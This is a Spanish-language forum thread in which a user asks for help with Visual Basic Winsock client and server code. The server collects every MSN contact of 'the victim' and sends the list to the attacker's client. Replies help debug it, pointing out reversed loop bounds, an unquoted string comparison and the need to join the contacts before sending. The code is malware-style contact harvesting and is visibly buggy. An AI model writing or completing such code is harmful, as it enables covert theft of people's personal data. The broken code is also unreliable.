ayuda con el Winsock y envio de contactos

[Sai-To]

saludos, bueno miren tengo este problema, es el siguiente....

Estoy haciendo un programa que me permite desde el cliente al darle a un command1 este envie por el Ws(Winsock) un dato o orden por decirlo asi, ahora que en el server cuando llegue este cheke si es el dato, pongan que es car, entonces el server ve si es car entonces este lista TODOS los contactos del MSN de la persona en una variable y los envia al cliente y el cliente comprueba que ese dato enviado contiene los contactos y los lista en un listbox ahora... este code esta correcto?

CLIENTE

Código [Seleccionar] Expandir

Private sub Command1_Click()
ws.SendData car
End sub

SERVER

Código [Seleccionar] Expandir

Private sub ws_DataArribal(LoQueVaAquixD)
dim dato as string
dim cont as long
dim user as IMessengerContact

ws.getdata dato
if dato = car then
for each user in MsgrUIA.MyContacts
cont = user.SigningName & "|"
next
end if
ws.SendData cont
end sub

CLIENTE

Código [Seleccionar] Expandir

Private sub ws_DataArribal(LoQueVaAkixD)
dim datos as string
din contactos() As string

ws.GetData datos
if datos = cont then
contactos = Split(datos, "|")
for i = UBound(contactos) to LBound(Contactos)
List1.additem contactos(i)
next
end if
end sub

Sabiendo que lo que hace el code del server es enviar los contactos de la victima al cliente, este los esplitea y los lista en un listbox, ahora es correcto ese code?? y si no  lo es en que me he equivocado y como lo podria solucionar?...

[SKL (orignal)]

es porque estas enviando dato por dato y para enviar todos los contactos, primero los tenes que juntar a todos en 1 variable y despues enviarlo todo junto,.
Cuando llega al Servidor, lo delimitas con un split y los metes dentro del list...

es por eso que no te anda....


sl2

[cobein]

for i = UBound(contactos) to LBound(Contactos)

[cassiani]

Código (vb) [Seleccionar] Expandir

if dato = car then

¿Quien es car? no se supone que es una cadena y ¿entonces porque no esta entre comillas? ...

No coinciden los tipos... 

[Sai-To]

si, grax, cassiani amigo ya resolvi ciertas cosas tontas que tengo hay! esa fue una! ... igualmente grax!"